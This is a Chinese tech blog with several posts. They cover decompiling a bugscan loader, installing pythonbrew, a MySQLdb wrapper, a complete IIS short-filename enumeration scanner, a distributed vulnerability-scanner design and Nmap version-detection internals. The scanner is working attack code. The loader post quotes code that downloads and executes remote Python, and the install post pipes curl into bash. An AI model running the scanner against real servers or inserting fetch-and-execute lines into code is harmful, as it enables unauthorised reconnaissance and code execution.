利用uncompyle去搞定marshal.loads

发布时间:September 21, 2015 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // 4 Comments

最近一直再解密一个东西.到了

marshal.loads(zlib.decompress(urllib.urlopen(url).read()))

就没办法继续下一步了。中间休顿了好久.今天碰巧看到一篇关于这个的文章,记录下

主要应用的是 uncompyle 库
网上增强版众多,有机会还是得深入到原理去学习一下,以待自己能改进.
stackoverflow上面看搜到一些答案(多去多收获啊….)
http://stackoverflow.com/questions/8189352/decompile-python-2-7-pyc
下载库文件
https://github.com/wibiti/uncompyle2
安装
 

python setup.py install

—————————序列化导—————————

import uncompyle2
import marshal

co = marshal.loads(zlib.decompress(“/x/x/x/x/x/x/xx/x/x/x”))

f=open('/tmp/testa','w');
uncompyle2.uncompyle('2.7.3',co,f);

也不卖关子了.直接贴上

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib, urllib2, marshal, zlib, time, re, sys
import uncompyle2
#第一访问
#re = requests.get('https://www.bugscan.net/0a772492fbe89800')
#print re.content
#re = urllib2.urlopen('https://www.bugscan.net/0a772492fbe89800').read()
#print re
'''
#第一次的结果
#!/usr/bin/env python
import imp
if imp.get_magic() != '\x03\xf3\r\n':
    print "Please update to Python 2.7.3 (http://www.python.org/download/)"
    exit()

import urllib, marshal, zlib, time, re, sys
for k in sys._getframe(1).f_code.co_consts:
    if not isinstance(k, basestring):
        continue
    m = re.match(r"http[s]*://[\w\.]+/[\?\w]*([0-9a-f]{16})", k)
    if m:
        _S = "https"
        _B = "www.bugscan.net"
        _U = m.group(1)
        _C = True
        count = 30
        while _C:
            if count <= 0:
                break
            try:
                exec marshal.loads(zlib.decompress(urllib.urlopen('%s://%s/bin/core_new' % (_S, _B)).read()))
            except:
                time.sleep(240)
            count = count - 1
        break

'''
#从结果里面找到的
url = 'https://www.bugscan.net/bin/core_new'
data1 = marshal.loads(zlib.decompress(urllib.urlopen(url).read()))
f=open('./bugscan.py','w');
uncompyle2.uncompyle('2.7.3',data1,f);

参考:

http://wcf1987.iteye.com/blog/1672542

http://www.blackh4t.org/archives/969.html

python多版本管理工具pythonbrew

发布时间:September 15, 2015 // 分类:运维工作,工作日志,linux,windows // No Comments

06 January 2013

当你需要在一台机器上同时安装多个不同版本的python的时候,你可能就需要使用pythonbrew

pythonbrew可以帮你下载安装不同版本的python并且可以自由的在多个版本间进行切换,它和ruby的rvm类似。

安装


  • 终端输入curl -kL http://xrl.us/pythonbrewinstall | bash

    执行完成之后它会安装在~/.pythonbrew.目录下

    如果你想将pythonbrew安装到指定的位置你需要这样做

    export PYTHONBREW_ROOT=/path/to/pythonbrew
    curl -kLO http://xrl.us/pythonbrewinstall
    chmod +x pythonbrewinstall
    ./pythonbrewinstall
  • ~/.bashrc添加[[ -s $HOME/.pythonbrew/etc/bashrc ]] && source $HOME/.pythonbrew/etc/bashrc

使用


安装python

pythonbrew install 2.7.2
pythonbrew install --verbose 2.7.2
pythonbrew install --test 2.7.2
pythonbrew install --test --force 2.7.2
pythonbrew install --configure="CC=gcc_4.1" 2.7.2
pythonbrew install --no-setuptools 2.7.2
pythonbrew install http://www.python.org/ftp/python/2.7/Python-2.7.2.tgz
pythonbrew install /path/to/Python-2.7.2.tgz
pythonbrew install /path/to/Python-2.7.2
pythonbrew install 2.7.2 3.2

临时切换到指定版本的(当前shell)

pythonbrew use 2.7.2

永久切换到指定版本的

pythonbrew switch 2.7.2
pythonbrew switch 3.2

列出以安装的版本

pythonbrew list

列出所有可安装的版本

pythonbrew list -k

卸载

pythonbrew uninstall 2.7.2
pythonbrew uninstall 2.7.2 3.2

清理源文件和安装包

pythonbrew cleanup

更新pythonbrew

pythonbrew update
pythonbrew update --master
pythonbrew update --develop

停用pythonbrew

pythonbrew off

更多


更多使用方法请参考https://github.com/utahta/pythonbrew

兔大侠整理的MySQLdb Python封装类

发布时间:September 13, 2015 // 分类:工作日志,运维工作,开发笔记,代码学习,linux,python,windows,mysql // No Comments

我一直没弄明白一件事情,Python语言已经这么流行和成熟了,为什么使用MySQL的方式却如此原始。Python 2下大家推崇的依旧是使用MySQLdb这个第三方的模块,而其使用方式还是手写方法,没有一个比较权威的封装类。或许是我孤陋寡闻?

根据官方文档及一些网上的样例,兔哥整理了一个MySQLdb的封装类。基本上涵盖了常用的函数,一般开发应该够用了。

#!/usr/bin/env python
# -*- coding: utf-8 -*- 
u'''对MySQLdb常用函数进行封装的类
 
 整理者:兔大侠和他的朋友们(http://www.tudaxia.com)
 日期:2014-04-22
 出处:源自互联网,共享于互联网:-)
 
 注意:使用这个类的前提是正确安装 MySQL-Python模块。
 官方网站:http://mysql-python.sourceforge.net/
'''

import MySQLdb
import time

class MySQL:
    u'''对MySQLdb常用函数进行封装的类'''
    
    error_code = '' #MySQL错误号码

    _instance = None #本类的实例
    _conn = None # 数据库conn
    _cur = None #游标

    _TIMEOUT = 30 #默认超时30秒
    _timecount = 0
        
    def __init__(self, dbconfig):
        u'构造器:根据数据库连接参数,创建MySQL连接'
        try:
            self._conn = MySQLdb.connect(host=dbconfig['host'],
                                         port=dbconfig['port'], 
                                         user=dbconfig['user'],
                                         passwd=dbconfig['passwd'],
                                         db=dbconfig['db'],
                                         charset=dbconfig['charset'])
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            error_msg = 'MySQL error! ', e.args[0], e.args[1]
            print error_msg
            
            # 如果没有超过预设超时时间,则再次尝试连接,
            if self._timecount &lt; self._TIMEOUT:
                interval = 5
                self._timecount += interval
                time.sleep(interval)
                return self.__init__(dbconfig)
            else:
                raise Exception(error_msg)
        
        self._cur = self._conn.cursor()
        self._instance = MySQLdb

    def query(self,sql):
        u'执行 SELECT 语句'     
        try:
            self._cur.execute("SET NAMES utf8") 
            result = self._cur.execute(sql)
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            print "数据库错误代码:",e.args[0],e.args[1]
            result = False
        return result

    def update(self,sql):
        u'执行 UPDATE 及 DELETE 语句'
        try:
            self._cur.execute("SET NAMES utf8") 
            result = self._cur.execute(sql)
            self._conn.commit()
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            print "数据库错误代码:",e.args[0],e.args[1]
            result = False
        return result
        
    def insert(self,sql):
        u'执行 INSERT 语句。如主键为自增长int,则返回新生成的ID'
        try:
            self._cur.execute("SET NAMES utf8")
            self._cur.execute(sql)
            self._conn.commit()
            return self._conn.insert_id()
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            return False
    
    def fetchAllRows(self):
        u'返回结果列表'
        return self._cur.fetchall()

    def fetchOneRow(self):
        u'返回一行结果,然后游标指向下一行。到达最后一行以后,返回None'
        return self._cur.fetchone()
 
    def getRowCount(self):
        u'获取结果行数'
        return self._cur.rowcount
                          
    def commit(self):
        u'数据库commit操作'
        self._conn.commit()
                        
    def rollback(self):
        u'数据库回滚操作'
        self._conn.rollback()
           
    def __del__(self): 
        u'释放资源(系统GC自动调用)'
        try:
            self._cur.close() 
            self._conn.close() 
        except:
            pass
        
    def  close(self):
        u'关闭数据库连接'
        self.__del__()
 

if __name__ == '__main__':
    '''使用样例'''
    
    #数据库连接参数  
    dbconfig = {'host':'localhost', 
                'port': 3306, 
                'user':'dbuser', 
                'passwd':'dbpassword', 
                'db':'testdb', 
                'charset':'utf8'}
    
    #连接数据库,创建这个类的实例
    db = MySQL(dbconfig)
    
    #操作数据库
    sql = "SELECT * FROM `sample_table`"
    db.query(sql);
    
    #获取结果列表
    result = db.fetchAllRows();
    
    #相当于php里面的var_dump
    print result
    
    #对行进行循环
    for row in result:
        #使用下标进行取值
        #print row[0]
        
        #对列进行循环
        for colum in row:
            print colum
 
    #关闭数据库
    db.close()

 

IIS短文件名扫描工具

发布时间:August 25, 2015 // 分类:运维工作,开发笔记,工作日志,linux,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import httplib
import urlparse
import string
import threading
import Queue
import time
import string


class Scanner():
    def __init__(self, target):
        self.target = target
        self.scheme, self.netloc, self.path, params, query, fragment = urlparse.urlparse(target)

        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.payloads = list('abcdefghijklmnopqrstuvwxyz0123456789_-')
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
    

    def _conn(self):
        try:
            if self.scheme == 'https':
                conn = httplib.HTTPSConnection(self.netloc)
            else:
                conn = httplib.HTTPConnection(self.netloc)
            return conn
        except Exception, e:
            print '[Exception in function _conn]', e
            return None



    # fetch http response status code
    def _get_status(self, path):
        try:
            conn = self._conn()
            conn.request('GET', path)
            status = conn.getresponse().status
            conn.close()
            return status
        except Exception, e:
            raise Exception('[Exception in function _get_status] %s' % str(e) )



    # test weather the server is vulerable
    def is_vul(self):
        try:
            status_1 = self._get_status(self.path + '/*~1****/a.aspx')    # an existed file/folder
            status_2 = self._get_status(self.path + '/san1e*~1****/a.aspx')    # not existed file/folder
            if status_1 == 404 and status_2 == 400:
                return True
            return False
        except Exception, e:
            raise Exception('[Exception in function is_val] %s' % str(e) )



    def run(self):
        # start from root path
        for payload in self.payloads:
            self.queue.put( (self.path + payload, '****') )    # filename, extention
        for i in range(10):  
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()

    def report(self):
        for t in self.threads:
            t.join()
        self._print('-'* 64)
        for d in self.dirs:
            self._print('Dir:  ' + d)
        for f in self.files:
            self._print('File: ' + f)
        self._print('-'*64)
        self._print('%d Directories, %d Files found in toal' % (len(self.dirs), len(self.files)) )


    def _print(self, msg):
        self.lock.acquire()
        print msg
        self.lock.release()

    def _scan_worker(self):
        while True:
            try:
                url, ext = self.queue.get(timeout=3)
                status = self._get_status(url + '*~1' + ext + '/1.aspx')
                if status == 404:
                    self._print('Found ' +  url + ext + '\t[scan in progress]')

                    if len(url) - len(self.path)< 6:    # enum first 6 chars only
                        for payload in self.payloads:
                            self.queue.put( (url + payload, ext) )
                    else:
                        if ext == '****':    # begin to scan extention
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + payload + '**') )
                            self.queue.put( (url,'') )    # also it can be a folder
                        elif ext.count('*') == 3:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + payload + '*') )
                        elif ext.count('*') == 2:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + ext[2] + payload ) )
                        elif ext == '':
                            self.dirs.append(url + '~1')
                            self._print('Found Dir ' +  url + '~1\t[Done]')

                        elif ext.count('*') == 1:
                            self.files.append(url + '~1.' + ext[1:])
                            self._print('Found File ' + url + '~1.' + ext[1:] + '\t[Done]')
            except Exception,e:
                break

if len(sys.argv) == 1:
    print 'Usage: %s target' % sys.argv[0]
    sys.exit()

target = sys.argv[1]
s = Scanner(target)
if not s.is_vul():
    print 'Sorry, server is not vulerable'
    sys.exit(0)

print 'server is vulerable, please wait, scanning...'
s.run()
s.report()

效果图

分布式漏洞扫描系统设计与实现

发布时间:August 13, 2015 // 分类:工作日志,运维工作,linux,代码学习,转帖文章,windows,python // No Comments

0x00·概述

1.1 前言
  由于信息在当今社会显得越来越重要,其安全性就越发突出,尤其是在近几年,信息安全越来越受到企业的重视。 如今,几乎所有的互联网都有开发自己的漏洞扫描平台,用于发现内部的安全隐患。此外,很多专业的安全工程师就有自己开发的漏洞挖掘系统,随着各种漏洞盒子的出现,这种系统也越来越多,越来越强大。

1.2 何去何从
   对于一个不是专门做安全的小公司来说,如果大费周章滴自己从头到尾开发一套扫描系统,那绝对是脑袋被驴踢了。但是这绝不意味着我们不去做漏洞扫描系统,相反,我们一定要去做,而且努力在资源有限的情况下做的更好。
   大家都知道,现在网上有很多开源的工具,比如sqlmap, hydra, medusa,openvas等等, 当然也有很多优秀的商业产品,比如WVS等。试想,倘若公司有成千上万个IP和域名,那么让几个安全工程师每天去使用这些不同工具,对公司的内网网进行安全扫描,那这个工作量是很大的,而且这些工作很多都是重复性的工作,所以很自然地想到:做一个自动化的漏洞扫描平台,然后自动调些工具进行扫描,最后将结果进行汇总以便分析。

1.3 可以走的更远一些  
    现在各种应用服务是个非常流行的概念,它可以降低很多使用成本和沟通成本,所以我们可以把漏洞扫描做成了一个平台,相当于做了一个漏洞扫描服务平台,任何对安全不是很了解的同事,不管是开发,还是运维,都可以使用该平台进行安全扫描,及时发现漏洞。如果安全人员只是在产品上线后才进行检测,那么出现踢皮球的事情,产品那边说急着上线,安全这边说不行,最后邮件打架到领导那去了。

    所以,如果条件允许的话,我们可以在产品QA里面加入安全QA流程,任何上线的产品,只需发送消息到此漏洞扫描平台的,就会自动化安全扫描,如果发现漏洞的话,我们可以协助研发人员把漏洞修复,保证产品上线的安全性。


1.4 多余的话 
    集成各种漏洞扫描挖掘工具,确实可以给我们带来很多开发上的便利,但每个公司难免都有一些不同的特点,导致会有一些特殊的需求,比如服务器没有按照标准进行安全加固,WEB服务器没有禁用与运维无关的端口等等,所以我们有必要在实现这些扫描系统的时候,必须做成一个插件式的系统框架,一方面是是可以保持系统稳定,兼容性好,另外一方面可以我们可以根据自己的需求写各种插件。

0x01·系统框架

2.1 概述
    分布式漏洞扫描系统采用分布式的结构方式,可以充分利用云平台的技术优势,对系统中的各个模块要尽量解耦,降低他们之间的依赖程度,使得整个系统具有较高的稳定性和扩展性。
   在设计系统之初,我们就想充分利用各种开源和商业扫描工具,做一个集中式的漏洞扫描平台,避免重复造轮子,加快整个系统的开发速度,同时也有利于方便更新系统的各个插件。
2.2 运行环境
    由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。所以,我们有必要一开始就选择好运行环境,这样可以降低我们的开发的成本,以下表2-1是我们选定的运行环境。


                        表2-1 各节点运行环境
2.3 系统框架
  分布式漏洞扫描系统分为交互展示(web)模块,监控(manager)模块和扫描(scanner)模块三大类。其中,交互展示模块是使用Django实现的一个Web系统,用户可以通过该模块进行任务的下发,待任务结束后,可以查看任务的扫描结果。监控模块主要负责监控整个系统的运行状况,并且将系统的任务状态消息通过邮件的形式推送给你用户等等。扫描模块就是分布式系统的末端,根据运行环境的不同可分为Linux扫描节点和Windows扫描节点两大类,它是直接对目标服务器发起扫描测试的节点,待扫描结束后,就把扫描结果返回给中央数据库,整个系统的框架结构如下图2-1所示。

   从图2-1中,我们可以看到,用户通过Web模块下发扫描任务,当然用户也可以自己创建任务计划,然后监控模块(manager server)会自动根据计划来创建扫描任务。任务创建之后,会根据任务的不同分发到消息队列:如果任务所调用的脚本是运行在Linux环境中,那么该消息就会被发送到Linux消息队列中,如该任务底层所调用的工具是运行在Windows中,那么该消息就会被发送Windows消息队列。Linux/Windows扫描节点会相应地从各自Linux/Windows消息队列中获取扫描任务,然后启动相关的扫描脚本,对目标发起扫描,扫描结束之后,通过WEB模块提供的REST接口同步扫描结果到数据库中。
2.4 部署工具
   为了便于批量部署分布式扫描的各个节点,我们采用fabric进行部署,具体相关的使用方法可以参考如下官网:
 http://www.fabfile.org/
2.5 小结
    各种分布式漏洞扫描系统的实现方式大同小异,大部分都使用了集中式的管理方式,通过消息队列进行任务下发,结束时通过REST接口接收扫描结果,尽量解耦各个模块。

0x02·消息通信

3.1 概述
   分布式的漏洞扫描系统主要分成交互(Web)模块,监控(Manager)模块和扫描(Scanner)模块三大类,当然也有其他的一些实用辅助工具,类如批量部署脚本,数据恢复等等。这三大模块相互联系,相互联系,协调完成扫描任务。
   交互模块主要是用户的操作界面,主要用于发起对目标的扫描任务,制定扫描计划,查看扫描结果等等。监控模块则是负责监视整个系统的运行状态。扫描模块则是具体负责发起扫描进程的。这个三个模块是相互独立,但又通过不同消息通信方式进行协调运作。本章节主要介绍一下各个模块之间的通信方式。
3.2 任务消息的定义
    用户发起的任何一个扫描任务,都需要转换成相应的预定义格式的消息。为方便各个模块之间的消息解析处理,我们将消息定义的格式如下:


3.3 任务消息的传递
   在分布式的系统中,消息队列是最佳的消息传递方式,因而我们采用了Active MQ作为整个系统的消息传递媒介。扫描节点可以分成Windows扫描节点和Linux扫描节点两种,不同的节点所能处理的扫描任务类型是不同的,而我们希望分布式的漏洞扫描系统能够同时支持这两种,以便实现强大的集中式挖掘平台。
   为了更好地区分两种不同类型的扫描任务,我们将在Active MQ中创建2个任务消息队列。用户通过Web界面发起扫描任务时,会创建一个(或多个)任务消息对象,然后根据所选用扫描插件所运行的环境不同,分别将其序列化(json)之后发送到相应的任务消息队列中。而Windows和Linux扫描节点则分别从Windows消息队列和Linux消息队列中取扫描任务,然后进行处理,其结果如下图3-1所示。


                            图3-1 任务消息传递示意图
    从上图可以看出,任务在进入任务队列之前就已经根据扫描任务的不同区分是发送到Windows队列还是发送到Linux队列,避免了后续流程中存在任务的交叉性,在扫描结束后通过Web上的REST接口将扫描结果同步到中央管理平台。
3.4 扫描任务的取消
    扫描节点会通过Web提供的API接口周期性轮询扫描任务状态变化。如果用户取消任务时,扫描节点发现状态已经被设置为取消状态,那么扫描节点会终止该任务所对应的扫描进程。
3.5 监控模块信息通信
    监控模块主要是与Web模块进行交互的,它通过Web提供的额外的几个REST接口,用于查询当前的任务状态信息,同时还负责部分信息收集相关的扫描任务等等,全部都是REST接口来完成所有的相关功能,具体的实现方式参考监控模块章节。

 

0x03·扫描节点

4.1 概述

   扫描节点(scanner)是整个分布式扫描系统的终端节点,负责具体漏洞扫描。由于我们的漏洞扫描系统需要集中许多不同的扫描工具,在这些工具当中,有的是只能运行在Windows上,比如WVS,而有的则是只能运行在Linux上,比如openvas,而有的则是可以同时在两种系统上运行,比如nmap。所以,为了能够更好的地集中这些工具,就必须解决系统的异构问题,达到同时支持Linux扫描节点和Windows扫描节点,才能更大地发挥集中扫描平台的优势。
4.2 扫描框架
4.2.1 系统异构
   出于系统设计的需求,扫描节点必须需要同时运行在Linux和Windows节点,所以我们在设计扫描节点的框架时,必须要考虑到系统的异构问题。此外,为了减少代码的开发时间和运维工作量,我们不希望在Linux开发一套扫描系统,而在Windows上开发另外一套系统,这样无疑会增加我们的开发和运维成本,而且对以后的升级都是比较棘手的。所以,我们采用脚本语言python开发整个扫描系统,所有的扫描工具都是采用插件的形式封装,然后根据扫描任务动态加载。举个例子,扫描系统启动的时候,它是不会加载任何插件的,保证系统能够同时运行在Linux和Windows节点上,当用户发起的一个WEB扫描任务时,那么该任务会被发送到Windows消息队列,Windows扫描节点会从该消息队列中提取任务,然后动态加载WVS插件,然后调用WVS进行漏洞扫描。同理,假如用户发起的主机扫描任务,那么该任务就会发送到Linux消息队列,Linux扫描节点会从该消息队列中提取任务,然后动态加载openvas插件,然后调用openvas进行漏洞扫描。如此一来,同一个扫描系统可以同时兼容Windows和Linux系统,就很好地解决系统的异构问题。
4.2.2 框架结构
  在【消息通信】章节中,整个分布式系统主要是通过消息队列(ActiveMQ)来进行扫描任务的分发。同时,为解决系统异构问题,我们使用了Windows和Linux两个消息队列,用于不同类型的任务分发,扫描节点的框架如下图4-1所示。


                          图4-1 扫描节点的框架结构
  从上图中,我们可以看到扫描节点存在好几个不同类型的线程,分别负责不同的功能,其功能如下表3-1所示。
表3-1 扫描节点内部主要的线程和进程功能表


  对照图3-1和表3-1,我们可以看出,扫描节点的内部有任务队列【Task Queue】和结果队列【Result Queue】两个队列,而接收任务线程【Receive MQ Thread】首先从ActiveMQ中获取扫描任务,然后将其推入到内部的任务队列【Task Queue】中,主线程【Main Porcess Thread】会从内部队列【Task Queue】中提取扫描任务消息,然后根据任务消息启动一个扫描线程【Scan Thread】, 而扫描线程【Scan Thread】启动之后会创建一个插件进程【Plugin Process】,该进程会调用nmap, WVS,openvas等相关工具,待执行结束后会将扫描的结果推入到结果队列【Result Queue】。结果同步线程【Sync Result Thread】从结果队列【Result Queue】中获取扫描结果,然后通过WEB的REST接口同步到中央数据库。而查询任务状态线程【Query Task status Thread】则是周期性地通过WEB的REST接口查询当前扫描任务的状态,如果发现有任务被取消的话,那么它就会发送一个取消【Cancel】的消息到任务队列【Task Queue】中,然后主线程【Main Porcess Thread】取出这个消息后,就会终止相应的扫描线程【Scan Thread】和插件进程【Plugin Thread】。


   扫描节点内的多个线程,不同的线程负责不同的功能,虽然看起来比较复杂,但是这样可以尽量解耦各个模块之间,以增强可扩展性和稳定性,也可以大大降低后期的维护和升级的成本。


4.2.3扫描线程和插件进程的启动
  扫描节点中主线程会根据扫描任务通过内部线程管理器【Thread Manager】启动一个扫描线程,其框架如下图4-2所示。


                               图 4-2 扫描线程与插件进程
  从上图4-2可以看出,线程管理器启动了扫描线程之后,扫描线程会根据任务任务从插件工厂【Plugin Factory】获取任务相对应的插件进程实例,并启动插件进程。比如扫描线程1的任务类型是主机安全扫描,那么它会通过插件工厂获得一个openvas的插件实例(plugin A),然后启动该插件进程,扫描线程2的任务类型是Web漏洞扫描,那么它会通过插件工厂获得WVS的插件实例(Plugin B),然后启动该插件进程。
4.2.4扫描线程和插件进程的通信
  当扫描任务被取消的时候,主进程会找到相对应的扫描线程【Scan Thread】,然后通过扫描线程来终止相对应的插件进程【Plugin Thread】,其通信的框架如图4-3所示。 

                          图 4-3 扫描线程和插件进程的通信结构图
  扫描线程【Scan Thread】在启动插件进程时,会创建一个队列Queue用于和插件进程【Plugin Process】通信。在插件进程内部有任务扫描【Task Scanning】和通信【communication】两个线程,其中任务扫描线程是调用具体的扫描工具或者脚本的,比如openvas,nmap,WVS等等,在调用结束后会将扫描的结果推入到扫描节点内部的结果队列【Result Queue】中,而通信线程则是通过队列【Queue】与扫描线程通信。
   当任务被取消时,主线程会通过相对应的扫描线程发送一个终止的命令到队列queue中,插件进程中的通信线程收到这个消息时就会调用终止函数(stop_script)来结束当前的线程。各个插件的终止函数略有不同,这样可以让各个插件进程在终止前做一些必要的工作,比如同步已有结果,清理扫尾等,增加插件的灵活性。但是,如果超过一定的时间相关进程和线程还没有被终止的话,那么就会被主进程强制杀掉,避免进程僵死的情况发生。
4.4 小结
   为了解决系统的异构问题,我们采用了两个任务消息队列来下发扫描任务,扫描节点中的各个扫描功能模块全部采用插件的形式,在需要的时候动态加载,保证了系统的稳定性和可扩展性。

作者:胡杨<jekkay@easysb.cn><479904359@qq.com>

from:easysb.cn

PS:之所以转这个是因为这个的设计思路跟我正在做的东西的设计思路是差不多的.只能感慨下:创意无限~

Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:开发笔记,运维工作,工作日志,VC/C/C++,linux,转帖文章,windows // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
